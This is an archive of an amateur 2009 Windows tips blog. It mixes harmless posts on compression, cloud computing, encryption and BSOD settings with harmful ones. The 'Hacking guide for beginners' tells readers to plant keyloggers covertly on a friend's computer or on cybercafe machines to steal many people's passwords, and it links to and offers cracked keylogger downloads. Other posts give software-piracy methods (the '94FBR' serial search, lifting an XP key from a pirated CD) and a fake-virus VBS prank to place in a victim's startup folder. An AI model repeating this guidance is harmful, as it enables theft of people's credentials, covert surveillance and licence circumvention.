In most languages of the world, certain letters and words often appear together in the same pattern. Because of this high rate of redundancy, text files compress very well. A reduction of 50 percent or more is typical for a good-sized text file. Most programming languages are also very redundant because they use a relatively small collection of commands, which frequently go together in a set pattern. Files that include a lot of unique information, such as graphics or MP3 files, cannot be compressed much with this system because they don't repeat many patterns (more on this in the next section).

If a file has a lot of repeated patterns, the rate of reduction typically increases with file size. You can see this just by looking at our example -- if we had more of Kennedy's speech, we would be able to refer to the patterns in our dictionary more often, and so get more out of each entry's file space. Also, more pervasive patterns might emerge in the longer work, allowing us to create a more efficient dictionary.

This efficiency also depends on the specific algorithm used by the compression program. Some programs are particularly suited to picking up patterns in certain types of files, and so may compress them more succinctly. Others have dictionaries within dictionaries, which might compress efficiently for larger files but not for smaller ones. While all compression programs of this sort work with the same basic idea, there is actually a good deal of variation in the manner of execution. Programmers are always trying to build a better system.

For more information use the following link

Data-Compression.com

Have you guy ever heard the program call KGB Archiver. A few days ago I downloaded It to my surprise this program to compressed 450mb into 1.5mb. It is one of the best compression softwares in the world

Download it from the following link

http://www.ziddu.com/download/4352440/KGB_Compress_1GB_into_10MB.rar.html

DATA COMPRESSION MAY RESULT IN IRRECOVERABLE DATA CORRUPTION SO IT IS ADVISED TO USE THE SOFTWARE'S ONLY WHEN REQUIRED.THE MORE IS THE REDUCTION IN SIZE MORE ARE THE CHANCES OF ACCIDENTAL DATA LOSS

source :(wikipedia,google,data compression.com)

GET THE SERIAL KEY WITH GOOGLE

2009-04-18T01:07:00.000-07:00

Get the required serial number of the software you need from google (Applicable for MOST softwares)

Go to Google.

In the search field type: "Software name" 94FBR

* Where, "Software Name" is the name of the software, game etc you want to find the serial number for.

HOW DOES THIS WORK?

94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2000 Pro. By searching for the product name and 94fbr, you guarantee two things.
1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for.
2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:

"Nero 9" 94FBR
"photoshop 7" 94FBR

Getting original xp key from pirated XP CD!!

2009-04-17T08:23:00.000-07:00

There is one simple method to get original Windows Xp Key From Pirated Windows Xp .As many people use pirated Windows Cd instead of original cd's/Dvds (coz pirated ones are cheapest and original are costly) but such users are denied of many benifits like Windows secuirity updates,usage of genuine Microsoft add-ons etc ..here is a way to legalise ur windows(provided teh key has not been blacklisted by Microsoft)

1.) Insert the CD in your drive.
2.) Right click it and select open.
3.) Open the folder named I386.
4.) In this folder there is a note pad file UNATTEND.txt
5.) Open this file and browse till the last line.
6.) You'll find there a original xp key.
7.) Use this key while installing xp and there are 98% chance that your copy of XP will come out of Windows validation as a geniune copy

Speed up your Acrobat reader almost like notepad

2009-04-16T11:50:00.000-07:00

Do u get irritated when acrobat reader takes 5 to10 seconds to load when you want to open a pdf file. There is a way to speed up the loading.

1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)

2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).

Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

Now your acrobat reader will load very fast
and almost as good as notepad..

HACKING GUIDE FOR BEGINNERS

2009-04-15T12:01:00.000-07:00

Hacking in layman term can be defined as a way of gaining unauthorized access to a system. Stealing data, passwords ,accessing confidential documents without permission are all different forms of hacking . One of the most common tools used for hacking is KEYLOGGER .A ‘keylogger’ is a software which keeps track of the keystrokes entered by the user and saves it to a text file. The result is that if an user enters his/her password in a system where a keylogger is installed then the password gets saved in a text file. Thus the profile ,or the Email whose password it was could be easily hacked.The most interesting thing about this software is that it constantly runs in the background without the Windows detecting it .If u press ctrl+alt+del to open the task manager u cant find the program there ,neither can it be found in the Add-Remove programs list .It comes to foreground only on pressing a certain key which is assigned by the person who installed it .For example if a person installs a keylogger on a computer and assign the key F7 to bring it to the foreground no other key except F7 can be used to operate the program .Thus there is no one else except the hacker who has the means of operating the program.
Now lets see this 2 scenarios

SCREENSHOT OF THE SOFTWARE

1. u installed keylogger in ur Pc.A friend comes to ur house any opens his orkut profile .after he goes away u simply press F7 or whatever key u hav assigned for the keylogger to run .then the keylogger menu comes n u can see all the keystrokes entered during ur last session .Now ur frnd must hav typed many things while he was on ur Pc .How to no which among all those is his orkut password SIMPLE just c the text entered after the email id or username, that is his password because in most cases a person types his email id or username first n then enters the password .Now u can easily log into that profile and HACK it

2 LETS GO ONE STEP FURTHER : suppose u go to a cybercafé at 10 am in the morning install the keylogger there on a particular machine .Then again go there at 8 Pm in the night sit in the same machine .bring the keylogger menu -> Save the text file containing all the keystrokes and passwords on a pen drive-> n then uninstall the keylogger . AND WHEW U HAV PASSWORDS OF OVER A DOZEN OF PEOPLE!!! ISNT IT GR8!!

U can even remotely install the keylogger in anyone’s PC via internet but that obviously requires quite a lot of skill because most ppl hav an antivirus and firewall solution installed in their PC s which can detect keylogger .if u religiously follow my posts I will post the way of overcoming the firewalls in my future blogs .

Now the million dollar question HOW TO GET THE KEYLOGGER SOFTWARE?
You can google it ,search for torrents, or u can Email me at : arka_b1990@yahoo.co.in
U will receive the software within 2 days of sending me the email.

LINKS FOR KEYLOGGER DOWNLOAD

http://www.ziddu.com/download/4324041/007install.exe.html

ADRAMAX KEYLOGGER

http://www.ziddu.com/download/4324301/Ardamax.Keylogger.3.0.REAL.REPACK.Cracked-ONY.rar.html

I l will uploading more softwares and keyloggers ..so keep a track of this post

DISCLAIMER : HACKING IS A CRIMINAL OFFENCE WHICH CAN LEAD UPTO 7 YEARS OF IMPRISONEMENT IN JAIL.THE AUTHOR OF THE ABOVE BLOG IS IN NO WAY ENCOURAGING HACKING .THE ABOVE BLOG IS JUST TO INCREASE KNOWLEDGE .THE AUTHOR IS IN NO WAY RESPONSIBLE FOR ANY ACT WHICH IS DIRECTLY OR INDIRECTLY INFLUENCED BY THE CONTENTS OF THIS POST

CLOUD COMPUTING

2009-04-15T02:47:00.001-07:00

CLOUD COMPUTING

Cloud computing can be called a service, a platform, and even an operating system. Some even link it to such concepts as grid computing -- which is a way of taking many different computers and linking them together to form one very big computer.

A basic definition of cloud computing is the use of the Internet for the tasks you perform on your computer. The "cloud" represents the Internet.

Cloud Computing is a Service

The simplest thing that a computer does is allow us to store and retrieve information. We can store our family photographs, our favorite songs, or even save movies on it. This is also the most basic service offered by cloud computing.

Flicker is a great example of cloud computing as a service. While Flickr started with an emphasis on sharing photos and images, it has emerged as a great place to store those images. In many ways, it is superior to storing the images on your computer.

First, Flickr allows you to easily access your images no matter where you are or what type of device you are using. While you might upload the photos of your vacation to Greece from your home computer, you can easily access them from your laptop while on the road or even from your iPhone while sitting in your local coffee house.

Second, Flickr lets you share the images. There's no need to burn them to a compact disc or save them on a flash drive. You can just send someone your Flickr address.

Third, Flickr provides data security. If you keep your photos on your local computer, what happens if your hard drive crashes? You'd better hope you backed them up to a CD or a flash drive! By uploading the images to Flickr, you are providing yourself with data security by creating a backup on the web. And while it is always best to keep a local copy -- either on your computer, a compact disc or a flash drive -- the truth is that you are far more likely to lose the images you store locally than Flickr is of losing your images.

This is also where grid computing comes into play. Beyond just being used as a place to store and share information, cloud computing can be used to manipulate information. For example, instead of using a local database, businesses could rent CPU time on a web-based database.

The downside? It is not all clear skies and violin music. The major drawback to using cloud computing as a service is that it requires an Internet connection. So, while there are many benefits, you'll lose them off if you are cut off from the Web.

Cloud Computing is a Platform

The web is the operating system of the future. While not exactly true -- we'll always need a local operating system -- this popular saying really means that the web is the next great platform.

What's a platform? It is the basic structure on which applications stand. In other words, it is what runs our apps. Windows is a platform. The Mac OS is a platform. But a platform doesn't have to be an operating system. Java is a platform even though it is not an operating system.

Through cloud computing, the web is becoming a platform. With trends such as Office 2.0, we are seeing more and more applications that were once the province of desktop computers being converted into web applications. Word processors like Buzzword and office suites like Google Docs are slowly becoming as functional as their desktop counterparts and could easily replace software such as Microsoft Office in many homes or small offices.

But cloud computing transcends Office 2.0 to deliver applications of all shapes and sizes from web mashups to Facebook applications to web-based massively multiplayer online role-playing games. With new technologies that help web applications store some information locally -- which allows an online word processor to be used offline as well -- and a new browser called Chrome to push the envelope, Google is a major player in turning cloud computing into a platform.

Cloud Computing and Interoperability

A major barrier to cloud computing is the interoperability of applications. While it is possible to insert an Adobe Acrobat file into a Microsoft Word document, things get a little bit stickier when we talk about web-based applications.

This is where some of the most attractive elements to cloud computing -- storing the information on the web and allowing the web to do most of the 'computing' -- becomes a barrier to getting things done. While we might one day be able to insert our Google Docs word processor document into our Google Docs spreadsheet, things are a little stickier when it comes to inserting a Buzzword document into our Google Docs spreadsheet.

Ignoring for a moment that Google probably doesn't want you to have the ability to insert a competitor's document into their spreadsheet, this creates a ton of data security issues. So not only would we need a standard for web 'documents' to become web 'objects' capable of being generically inserted into any other web document, we'll also need a system to maintain a certain level of security when it comes to this type of data sharing.

Possible? Certainly, but it isn't anything that will happen overnight.

What is Cloud Computing?

This brings us back to the initial question. What is cloud computing? It is the process of taking the services and tasks performed by our computers and bringing them to the web.

What does this mean to us?

With the "cloud" doing most of the work, this frees us up to access the "cloud" however we choose. It could be a super-charged desktop PC designed for high-end gaming, or a "thin client" laptop running the Linux operating system with an 8 gig flash drive instead of a conventional hard drive, or even an iPhone or a Blackberry.

We can also get at the same information and perform the same tasks whether we are at work, at home, or even a friend's house. Not that you would want to take a break between rounds of Texas Hold'em to do some work for the office -- but the prospect of being able to do it is pretty cool.

To know more about Cloud computing check out this post by my college senior Abhik Mitra (MICROSOFT STUDENT PARTNER)

http://abhiktechie.blogspot.com/2009/02/cloud-computinga-basic-idea.html.

VIRUS TRICK

2009-04-14T06:09:00.001-07:00

Open notepad and type this:

lol=msgbox ("Warning a fatal virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")

Then save it as anything.VBS

and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.
On startup the window should appear.
Note: This does not harm your computer as it does not contain virus.

The Yes and no button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox ("Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot",20,"Warning")

Oh in between make sure your victim does not panic and really reformat his harddisk. hahaha :)

ENCRYPTION

2009-04-13T05:59:00.000-07:00

In cryptography, encryption is the process of transforming information (referred to as plaintext) using an algorithm (called cipher) to make it unreadable to anyone except those possessing special knowledge, usually referred to as a key. The result of the process is encrypted information (in cryptography, referred to as cipher text). In many contexts, the word encryption also implicitly refers to the reverse process, decryption (e.g. “software for encryption” can typically also perform decryption), to make the encrypted information readable again (i.e. to make it unencrypted).
Encryption is also used to protect data in transit, for example data being transferred via networks (e.g. the Internet, e-commerce), mobile telephones, wireless microphones, wireless intercom systems, Bluetooth devices and bank automatic teller machines. There have also been numerous reports of data in transit being intercepted in recent years [2]. Encrypting data in transit also helps to secure it as it is often difficult to physically secure all access to networks. Encryption, by itself, can protect the confidentiality of messages, but other techniques are still needed to protect the integrity and authenticity of a message; for example, verification of a message authentication code (MAC) or a digital signature. Standards and cryptographic software and hardware to perform encryption are widely available, but successfully using encryption to ensure security may be a challenging problem. A single slip-up in system design or execution can allow successful attacks. Sometimes an adversary can obtain unencrypted information without directly undoing the encryption. See, e.g., traffic analysis, TEMPEST, or Trojan horse.
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Lets c the following scenario.:
There is a software which encrypts information in the following way .It adds 3 to each alphabet before sending it and at the receiving end there is a software which subtracts 3 and again decrypts it for the receiver.
Suppose A is the sender n B is the receiver .
A sends the messege “ABC”.. after passing through encryptor it becomes ”DEF”. if the data is now leaked then the person receiving the leaked data will get “DEF” instead of “ABC”..now we no that 3 has been added to each alphabet the person receiving it doesn’t no what has been added so it is tough to get the original messege.Now when the data reaches the receiver end the decrypting software subtracts 3 and the original text is revived

THIS WAS A VERY SIMPLE EXAMPLE .REAL WORLD ENCRYPTION PROCESS ARE MUCH MORE COMPLICATED AND COMPLEX THUS THE SKILL REQUIRED BY HACKERS IN DEFEATING THEM IS ALSO VERY HIGH
Some of the encryption algoritms

RSA
DES/3DES
BLOWFISH
IDEA
SEAL
RC4

IF U WANT TO NO MORE ABOUT JUST GOOGLE THEM

DISGUISE FOLDERS AS RECYCLE BIN

2009-04-12T04:02:00.000-07:00

Have you ever tried to hide folders containing ur private documents or having in appropriate contents from other people using ur PC… in all probability each n everyone of you hav atleast tried it once .Now what do most ppl do ?

Just make the folder hidden…but guess you cant be sure that no one will be able to access it .My bro who is in 6th standard nos wat to do in order to view hidden folders
The second option is installing a software like folder lock ..but then most of these software comes with a 30 day trail ..n u will hav to store all the contents in one particular folder specified by the software you cant just hide any folder of ur choice..and the presence of the software itself means that there is something that you want to hide …any case it will make the other users all the more suspicious about wat u want to hide …so wats the soln?
Here is a cool trick which I accidently found while I was trying to rename my Recycle Bin using registry editor ..the trick goes here

Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}
e.g.,
if you've a folder movies
press F2,
then type, "movies.{645FF040-5081-101B-9F08-00AA002F954E}"
c the Result!!

Instead of the folder youll see the recycle bin option ..and whoever clicks there is directed to recycle bin

then 2 get to original form,
just rename the folder to anything else and remove the key….

Now let me tell you wat is happening ..as I told u I was trying to rename my Recycle Bin to “Arka’s dustbin” I tried to modify this key {645FF040-5081-101B-9F08-00AA002F954E..this is the recycle bin key ..after that I just copied the key to the folder name and whew ..even I was surprised by the result …..

If u hav some more kool stuff like this plz don’t forget to add comments

2moro ill try the same thing with 'My computer' ,'Control panel' registrty keys .lets c Wat happens whether the same logic works out for them also

**i hav received around 4-5 mails telling me that they havent been able to get their folders to the original state after being renamed into 'Recycle Bin' by the above method

here is a soln

go to command prompt and rename the folder there. Eg:- If the folder is in C:\Temp\ABC, then get to C:\Temp in the command prompt and type:
REN ABC.{645FF040-5081-101B-9F08-00AA002F954E} ABC
(Command Prompt supports CLIPBOARD. Copy-Paste will work there.)
Your folder will be back to normal state.

Note that this does not provide a reliable security to the data. It can be used just to prevent data from other novice users accessing your PC.

Many fake-folder softwares work by this method. You can also search the registry for more relevant keys like these.

**this method can be easily be cracked by any one having even an intermediate knowledge also there is no guarantee that data will remain as it is ..so don try it unless necessary

USING INTERNET EXPLORER IN KIOSK MODE

2009-04-11T06:35:00.000-07:00

A friend wanted Internet Explorer to open in Kiosk mode. In this view, there is nothing at the top, and nothing at the bottom. No toolbars, no taskbar. Nothing.

Well, you can set that up automatically. You can use the current icon, or create a new one. I recommend the latter, so you're not locked into Kiosk mode.

Start by right-clicking an empty area on the desktop. Select New>>Shortcut. In the box, enter "C:\Program Files\Internet Explorer\IEXPLORE.EXE" -k. Name it IE Kiosk.

Of course, there are no navigation buttons. So you have to substitute keystrokes. For instance, there is no Back button. But you can use the Backspace key. There's no Forward button, either. So you use Alt+Right Arrow. And to close the window? Click Ctrl+W.

IE IN KIOSK MODE

Click here for Microsoft's list of keyboard shortcuts
http://www.microsoft.com/enable/products/keyboard.aspx

BSOD

2009-04-10T08:09:00.000-07:00

Abbreviated as BSOD or BSoD, the blue screen of death is the popularized name for what is technically called a STOP message or STOP error. It's the blue, full screen error that often displays after a serious system crash.

The text on the blue screen of death lists the files involved in the crash including any drivers that may have been at fault and a short, usually cryptic, description of what to do about the problem.

Most importantly, the BSOD includes a STOP code that can be used to troubleshoot this specific STOP error.

Important: By default, most Windows installations are programmed to automatically restart after a BSOD which makes reading the STOP error code impossible. Before you can do any troubleshooting you'll need to to prevent this automatic restart:

Windows XP is programmed by default to restart immediately after a major error, like one that causes a Blue Screen of Death (BSOD). This reboot happens too fast to record the error message for use in troubleshooting.

Follow these easy steps to disable the automatic restart feature for system failures in Windows XP.

Here's How:

1. Navigate to the Control Panel in Windows XP by left-clicking on Start, followed by Settings and then choosing Control Panel.

2. In the Control Panel window, open System.

Note: In Microsoft Windows XP, depending on how your operating system is setup, you may not see the System icon. To correct this, click on the link on the left-hand side of the Control Panel window that says Switch to Classic View.

3. In the System Properties window, click on the Advanced tab.

4. Locate the Startup and Recovery area and click on the Settings button.

5. In the Startup and Recovery window, locate and uncheck the check box next to Automatically restart.

6. Click OK in the Startup and Recovery window.

7. Click OK in the System Properties window.

8. From now on, when a problem causes a BSOD or another major error that halts the system, the PC will not automatically reboot. Rebooting manually will be necessary.

For Windows Vista follow this procedure

Here's How:

1. Click on Start and then Control Panel.

Tip: In a hurry? Type system in the search box after clicking Start. Choose System from the list of results and then skip to Step 4.

2. Click on the System and Maintenance link.

Note: If you're viewing the Classic View of Control Panel, you won't see this link. Simply double-click on the System icon and proceed to Step 4.

3. Click on the System link.

4. In the task pane on the left, click the Advanced system settings link.

5. Locate the Startup and Recovery area and click on the Settings button.

6. In the Startup and Recovery window, locate and uncheck the check box next to Automatically restart.

7. Click OK in the Startup and Recovery window.

8. Click OK in the System Properties window.

9. You can now close the System window.

10. From now on, when a problem causes a BSOD or another major error that halts the system, the PC will not automatically reboot. Rebooting manually will be necessary.

NOW WHAT IS THE ADVANTAGE OF VIEWING THIS ?

Carefully note the code after STOP …..it will be sum thing like this “0X000008E” this part is very important. note this part down ..Google the error code and you will cum to know exactly which driver or file was malfunctioning

DID YOU KNOW ?

The Blue screen Of Death was first seen while Bill Gates was giving the demo on Windows 98 during its official launch in Los Angeles.Windows 98 crashed in front of a live audience comprising more than 500 journalists ,IT prefesssionals and the entire Microsoft core Team.

CREATE ICONS WITHOUT NAMES

2009-04-09T12:28:00.000-07:00

I had posted an article few days ago on filenames & I had got a cool comment from one of my friend. I had challenged him to try an create a folder named ‘con’…and here was the reply

"

Here is a simple method..........
Rename folder from the right click option........
Now press alt and press 255...
press 255 frm the right sideof the key bords i.e., num pad....
where only numbers r given.....
now write con and then press enter.....huh!!
you ll see a con folder in ur pc
and also you can delete it easily.

"

Now lets analyze what is happening here when alt+255 is pressed a blank space character is created so the name of the file becomes ”(space)con” instead of “con” so u can rename it as ‘con’

..First question .

Why cant you rename a file a ‘con’ when u can give any name to any file ?

The reason is ‘Con’ stands for ‘console’ and it is a reserved file name .However there are ways to rename a file as con ..but ull hav to do it in DOS mode..
Now how to create an icon without a name …..SIMPLE..just repeat the above method ..n instead of typing con just press enter ..n u get an Icon without a name

To make more than 1 blank icon ..next time just put 2 blank spaces instead of 1

for more details mail me at arka_b1990@yahoo.co.in

Put any site on desktop in windows XP

2009-04-08T07:23:00.000-07:00

To start right click anywhere on your desktop and choose Properties > Desktop > Customize Desktop > Web. You should be at this window

Click on the New button and type the address of the Web Site you would like to have as your desktop.

Click Ok

THE THIS WINDOW WILL COME UP

On the next window you have the option to customize the Desktop Synchronization. Click Customize, then next and select how you want it to synchronize. If your using a website that requires a password enter it now and click finish. Click Ok.

Windows will then synchronize the page to make it available for your desktop.

Now the web page will be available on the desktop

FASTEST SHUTDOWN METHOD

2009-04-07T10:01:00.000-07:00

Imagine getting caught surfing restricted sites by parents.’Lucky’ ppl who have had this opportunity no how it feels.The most common approach is to close the site while you hear sum one coming or sum one near at hand,but what if u could shut down windows in the same amount of time ,or even better .In most PC s it takes around 10 seconds or more to completely shut down windows and in a bit older PCs it may cross the 20 second limit also but then I just now mentioned that u can shut down windows in the same time which it takes \to close an active internet window.. how? Try this …

Shut down windows in a matter of seconds. While shutting down window. open task manager(Ctr+Alt+Del), Select shut down tab. and press ' Ctrl ' key and select Turn Off from this tab. Within 2 seconds windows will shut down.

I have tested this method on various machines with a stop watch and believe me do u no what is the fastest timing a mere 1.35 seconds n with a bit of practice can wrap up the entire session in a cool 3 seconds

How does this process work??? Try out the answers yourself

I will definitely post the answer in my future blogs but b4 that u all shud try at least once

INCREASE TORRENT SPEED

2009-04-05T05:55:00.000-07:00

Torrentz is a torrent meta-search engine based in Sweden (run by an admin, who goes by the name Flippy) that indexes torrents from various major torrent sites like Mininova, Demonoid, and The Pirate Bay. It offers compilations of various trackers per torrent that are not necessarily present in the default .torrent file so when a tracker is down, other trackers can do the work.you can download almost anything from toreentz site .ranging from movies ,songs ,PC games.etc.In a way Torrent is the biggest form of online piracy going on in todays world, Though I am no where near a torrent –addict I still manage to download around 40-50 gb every month., Compare this to the scenario a few years back when a person buying a brand new Pc got a hard disk with around 40 Gb storage space -the space torrent freaks can consume in matter for just 3-4 days . However the most people complain that their torrent speed are slow ..i.e a person getting a transfer speed of around 200 kb/s on a 2 mb/s line gets around 110 or even less when downloading with torrent.There arte several ways to increase torrent speeds some of them are as follows

1.SHARE RATIO: The main difference between direct download and downloading using torrent is that in case of direct download the file is stored in a remote server and all the users download the file from the same location .,while torrent is a peer to peer service the file is not stored in a single specific location The protocol works initially when a file provider makes his file (or group of files) available to the network. This is called a seedpeers or leechers to connect and download the file.after other people finish the download they again become the seed i.e and allows others, named they help other people downloading the file from theioir PC,s

Take an Example

1 .A (seed) uploads a movie.B,C,and D (peer) start downloading the file form A’s computer .Now the status of the torrent is 1 Seeds(the person from whose’s PC the download is taking place) and 3 Peers (ppl downloading) After B,C n D finish their downloads they become seeds

2 .Now say X starts his download .Now the status of the torrent is 4 Seeds (A,B,C,D) and 1 Peers (X) .So naturally X will get more download speed than what B C D were getting when they were downloading because X can simultaneously download different portions of the file from the 4 seeds A B C D.while when B C D were downloading they had only 1 seed A and all 3 were downloading from A .

Suppose A had set his upload speed as 90 Kb/s then B,C,.D wud hav to share the bandwidth among themselves hence they wud get around 30 kb/s each .now lets in 2nd c : if A B C D set their upload speeds at even 50 kb/s then X will get 200 kb/s download because he is the only peer .Thus in case of torrent download not only download speed of the user matters the no of seeders and peers also matters a lot .

THE BOTTOMLINE IS TO GET A FASTER DOWENLOAD SELECT A TORRENT WITH MORE SEEDS AND LESS PEERS .

Upload/download ratio is called share ratio

2 .PORT FORWARDING : Sumtimes the ports used by the torrent client are blocked by the windows firewall or the hardware firewall of the router provided ny the I.S.P how to test whether the port is forwarded or not check this site : http://portforward.com/ is a good resource to also test and know more about port forwarding

Another important link

http://utorrent.com/faq.php#What_do_the_Network_Status_lights_mean.3F

3. TORRENT ACCLERATORS-: These software’s accelerate torrent speed by maximizing bandwidth usage to get the latest torrent accelerator

try this
www.trafficspeeders.com
and dwld a accelerator for ur torrent client

4 CLOSE BACKGROUND PROGRAMS WHILE DOWNLOADING : Although Torrent clients like Bit torrent ,u torrent are very small in size they consume large memory resources while the download is on so if any other memory consuming program runs parallel then the download speed is decreased. So try to close down all background programns while download is on

5. PRIVATE TORRENTZ : I stumbled upon this while searching for a solution of my problem There are torrents called private torrents which give you a constant high speed. Google it u will find many sites offering u private torrents .u just hav to register for free.

.for ppl who hav high bandwidth like me(around 2 mbps) u can use these torrents they give around 200 kb/s s download speed in a 2 MBPS line. The catch however is that u hav to maintain a atleast 0.3 upload/download speed ratio ..or else u will be banned form site..but if its just a single large download that is troubling u then ...fuck the rules ..get ur download ...get banned....n ......get hold of a new site...

6 .SIMULTANEOUSLY DOWNLOAD 2 OR MORE TORRENTZ :

In order to gain the maximum of the available bandwidth I suggest u download 2 or more torrentz.then at least the band width which was lying useless would be utilizes this is specially useful for users whose download speed exceeds 220-230 kb/s because often a torrent doesn’t utilize that much bandwidth(especially dose with peer/seed ratio of 2or more) so instead of queing up downloads it is better to download simultaneously. As long as the the total bandwidth is more than the cumulative bandwidth utilized by the torrents then adding 1 more download will not affect the speed of the existing download in any way

for more info email me at : arka_b1990@yahoo.co.in

V.I.R.U.S

2009-04-05T05:14:00.000-07:00

A computer virus is a computer program that can copy itself and infect a computer without the permission or knowledge of the owner. The term "virus" is also commonly but erroneously used to refer to other types of malware, adware and spyware programs that do not have the reproductive ability. A true virus can only spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.[1][2]
Viruses are sometimes confused with computer worms and Trojan horses, which are technically different. A worm can use security vulnerabilities to spread itself to other computers without needing to be transferred as part of a host, and a Trojan horse is a program that appears harmless but has a hidden agenda. Worms and Trojans, like viruses, may cause harm to either a computer system's hosted data, functional performance, or networking throughput, when they are executed. Some viruses and other malware have symptoms noticeable to the computer user, but most are surreptitious. This makes it hard for the average user to notice, find and disable and is why specialist anti-virus programs are now commonplace.
Most personal computers are now connected to the Internet and to local area networks, facilitating the spread of malicious code. Today's viruses may also take advantage of network services such as the World Wide Web, e-mail, Instant Messaging and file sharing systems to spread, blurring the line between viruses and worms. Furthermore, some sources use an alternative terminology in which a virus is any form of self-replicating malware.

THE FIRST COMPUTER VIRUS

he Creeper virus was first detected on ARPANET, the forerunner of the Internet in the early 1970s.[3] Creeper was an experimental self-replicating program written by Bob Thomas at BBN in 1971.[4] Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system. Creeper gained access via the ARPANET and copied itself to the remote system where the message, "I'm the creeper, catch me if you can!" was displayed. The Reaper program was created to delete Creeper.[5]
A common misconception is that a program called "Rother J" was the first computer virus to appear "in the wild" — that is, outside the single computer or lab where it was created, but that claim is false. See the Timeline of notable computer viruses and worms for other earlier viruses. It was, however, the first virus to infect computers "in the home." Written in 1982 by Richard Skrenta, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk.[6] This virus was originally a joke, created by a high school student. It was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the computer and displaying a short poem beginning "Elk Cloner: The program with a personality." With time VIRUS’s became more and more complicated and nowadays they tend to be very compact and highly target specific

COUPLE OF MOST COMMON VIRUS CURRENTLY ON THE GO

MEDIACONTROL VIRUS – This code usually breaks into a system via email attachments .The most interesting about this virus is that it can slip past even the best antivirus software’s available in today’s market .Once in a system it changes the extension of all media files like .avi .flv. asf .wmv to .jpeg which is the extension for an image file .The result is that whenever the user tries to play a song or a video, instead of media software’s like windows media player, image opening software like windows fax viewer starts and naturally it cant play the media files so it displays an error. One way of tackling this problem is again renaming the jpeg extension to the original extensions but there are so many media files present in any average PC it is impossible to remember each and every of their original extensions .If the original extension is not given the file becomes useless forever

AUTORUN VIRUS – This virus sort of locks the drives of the PC.on the infected PC if the user tries to open the D drive (for that matter any drive) then instead to opening up a messege is displayed “Windows cannot open this file. To open this file windows needs to know the program which created it ” .Thus the drives are treated as unknown files which causes a great deal of problem in working with them.

SYMPTOMS OF A VIRUS INFECTED COMPUTER

1. Abnormal program behavior in windows like being unable to view hidden files, unable to open hard disk, wrong disk volume information ,frequent errors

2. System slowdown ,PC taking too much time in loading startup items

3. Blue screens of death which are popularly called BSOD
4. Errors like
“svchost.exe - Application Error The exception unknown software exception (0xc0000409) occurred in the application at location 0x5b86a3c0.”
“unable to read memory referenced …”
and frequent “ this program has performed an illegal operation” messeges
5. And finally sudden system crashes

THE ABOVE ARE SYMPTOMS ONLY .THE ABOVE SIGNS DON’T GUARANTEE THAT A VIRUS IS PRESENT IN THE PC ,THESE CAN BE DUE TO HARDWARE ISSUES ,SOFTWARE CONFLICTS .HOWEVER THERE IS A HIGH PROBABILITY THAT THE SYSTEM IS INFECTED

mail me at : arka_b1990@yahoo.co.in

TECH TIPS N TRICKS

Interview Experince at Microsoft

MICROSOFT IMAGINE CUP

CAPTURING THE CLOUD

RECURSION IN GOOGLE

EASTER EGGS

CD VS DVD

INCREASE BROADBAND SPEED

BING

1 MILLION SERIAL KEYS

HIDE FOLDERS IN WINDOWS

INCREASE HARD DISK SPEED IN WINDOWS

MUSIC TRACK NOT SHOWING IN GOOGLE TALK STATUS

Fork Bomb

HARD DISK MONITORING SOFTWARE

NOTEPAD "world trade centre trick".. ::

VIRUS

PORTABLE SOFTWARES

EU slaps a record fine on Intel

Get most from GOOGLE search

LINUX

AN INVENTION THAT COULD CHANGE THE INTERNET FOR EVER

OPEN SOURCE SOFTWARES

AUTOMATED RESTORE

I found this cool VB script while surfing the other day .just copy paste the part after quotes in a notepad file (don’t copy the quotes)save the file as .vbs n run it to ensure automatic system restore

ONE OF THE BEST TORRRENT RIPPERS

CHANGE REMOVABLE DISK DEFAULT LOOK

TOP 15 HACKING SOFTWARES

Shutdown ur friend's comp when everytime it starts

IT sector may layoff over 1 lakh by Sept

BURNAWARE

TURN OFF ERRROR REPORTING

WEBSITES OFFERING HELP IN HACKING

LOCK UP YOUR PC

RENAME RECYCLE BIN

Disable My Computer

WINDOWS 7

NTFS VS FAT

Change the thumbnail size of photos in XP without any software

NOTEPAD TRICKS

FILE COMPRESSION

Redundancy and Algorithms

Pattern Searching

GET THE SERIAL KEY WITH GOOGLE

Getting original xp key from pirated XP CD!!

Speed up your Acrobat reader almost like notepad

HACKING GUIDE FOR BEGINNERS

CLOUD COMPUTING

Cloud Computing is a Service

Cloud Computing is a Platform

Cloud Computing and Interoperability

What is Cloud Computing?

VIRUS TRICK

ENCRYPTION

DISGUISE FOLDERS AS RECYCLE BIN

Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E} e.g., if you've a folder movies press F2, then type, "movies.{645FF040-5081-101B-9F08-00AA002F954E}" c the Result!!

Instead of the folder youll see the recycle bin option ..and whoever clicks there is directed to recycle bin

then 2 get to original form, just rename the folder to anything else and remove the key….

If u hav some more kool stuff like this plz don’t forget to add comments

USING INTERNET EXPLORER IN KIOSK MODE

BSOD

Here's How:

Here's How:

CREATE ICONS WITHOUT NAMES

Put any site on desktop in windows XP

FASTEST SHUTDOWN METHOD

INCREASE TORRENT SPEED

V.I.R.U.S

Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}
e.g.,
if you've a folder movies
press F2,
then type, "movies.{645FF040-5081-101B-9F08-00AA002F954E}"
c the Result!!

then 2 get to original form,
just rename the folder to anything else and remove the key….